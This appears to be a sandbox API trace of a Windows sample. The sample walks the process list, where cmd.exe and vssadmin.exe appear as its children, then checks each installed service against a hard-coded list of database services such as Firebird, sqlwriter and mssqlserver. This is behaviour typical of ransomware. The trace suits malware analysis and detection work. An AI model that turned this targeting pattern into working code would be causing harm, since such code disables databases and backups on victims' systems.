	[0175.020] lstrlenW (lpString="svchost.exe") returned 11
	[0175.020] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.020] lstrlenW (lpString="svchost.exe") returned 11
	[0175.020] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.021] lstrlenW (lpString="svchost.exe") returned 11
	[0175.021] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.021] lstrlenW (lpString="svchost.exe") returned 11
	[0175.021] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.022] lstrlenW (lpString="svchost.exe") returned 11
	[0175.022] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.022] lstrlenW (lpString="svchost.exe") returned 11
	[0175.022] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.023] lstrlenW (lpString="svchost.exe") returned 11
	[0175.023] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.023] lstrlenW (lpString="svchost.exe") returned 11
	[0175.023] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.024] lstrlenW (lpString="svchost.exe") returned 11
	[0175.024] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.024] lstrlenW (lpString="svchost.exe") returned 11
	[0175.024] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0175.037] lstrlenW (lpString="spoolsv.exe") returned 11
	[0175.037] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.038] lstrlenW (lpString="svchost.exe") returned 11
	[0175.038] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0175.038] lstrlenW (lpString="audiodg.exe") returned 11
	[0175.038] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0175.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0175.039] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0175.039] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0175.039] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0175.040] lstrlenW (lpString="Memory Compression") returned 18
	[0175.040] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0175.040] lstrlenW (lpString="sihost.exe") returned 10
	[0175.040] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.041] lstrlenW (lpString="svchost.exe") returned 11
	[0175.041] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.041] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.041] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.042] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.042] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0175.042] lstrlenW (lpString="explorer.exe") returned 12
	[0175.042] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0175.043] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0175.043] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0175.043] lstrlenW (lpString="SearchUI.exe") returned 12
	[0175.043] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0175.044] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0175.044] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0175.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0175.044] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0175.045] lstrlenW (lpString="fvppjh.exe") returned 10
	[0175.045] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0175.045] lstrlenW (lpString="cmd.exe") returned 7
	[0175.045] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0175.046] lstrlenW (lpString="conhost.exe") returned 11
	[0175.046] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0175.047] lstrlenW (lpString="consent.exe") returned 11
	[0175.047] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0175.047] lstrlenW (lpString="vssadmin.exe") returned 12
	[0175.047] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0175.048] lstrlenW (lpString="dllhost.exe") returned 11
	[0175.048] Process32NextW (in: hSnapshot=0x528, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0175.048] CloseHandle (hObject=0x528) returned 1
	[0175.048] Sleep (dwMilliseconds=0x1f4) 
	[0175.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0175.659] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0175.660] GetLastError () returned 0xea
	[0175.660] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0175.660] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0175.661] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0175.662] lstrlenW (lpString="Appinfo") returned 7
	[0175.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0175.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0175.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0175.662] lstrlenW (lpString="AppXSvc") returned 7
	[0175.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0175.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0175.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0175.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0175.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0175.662] lstrlenW (lpString="Audiosrv") returned 8
	[0175.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0175.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0175.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0175.662] lstrlenW (lpString="BFE") returned 3
	[0175.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0175.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0175.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0175.663] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0175.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0175.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0175.663] lstrlenW (lpString="CDPSvc") returned 6
	[0175.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0175.663] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0175.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0175.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0175.663] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0175.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0175.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0175.667] lstrlenW (lpString="CryptSvc") returned 8
	[0175.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0175.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0175.667] lstrlenW (lpString="DcomLaunch") returned 10
	[0175.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0175.667] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0175.667] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0175.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0175.667] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0175.667] lstrlenW (lpString="Dhcp") returned 4
	[0175.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0175.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0175.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0175.667] lstrlenW (lpString="Dnscache") returned 8
	[0175.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0175.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0175.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0175.668] lstrlenW (lpString="DPS") returned 3
	[0175.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0175.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0175.668] lstrlenW (lpString="DusmSvc") returned 7
	[0175.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0175.668] lstrlenW (lpString="EventLog") returned 8
	[0175.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0175.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0175.668] lstrlenW (lpString="EventSystem") returned 11
	[0175.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0175.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0175.668] lstrlenW (lpString="FontCache") returned 9
	[0175.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0175.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0175.668] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0175.668] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0175.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0175.669] lstrlenW (lpString="gpsvc") returned 5
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0175.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0175.669] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0175.669] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0175.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0175.669] lstrlenW (lpString="iphlpsvc") returned 8
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.669] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0175.669] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0175.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0175.669] lstrlenW (lpString="KeyIso") returned 6
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0175.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0175.669] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0175.669] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0175.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0175.669] lstrlenW (lpString="LanmanServer") returned 12
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.669] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0175.669] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0175.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0175.669] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.669] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0175.669] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0175.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0175.669] lstrlenW (lpString="lfsvc") returned 5
	[0175.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0175.670] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0175.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0175.670] lstrlenW (lpString="lmhosts") returned 7
	[0175.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0175.670] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0175.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0175.670] lstrlenW (lpString="LSM") returned 3
	[0175.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0175.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0175.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0175.670] lstrlenW (lpString="MpsSvc") returned 6
	[0175.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0175.670] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
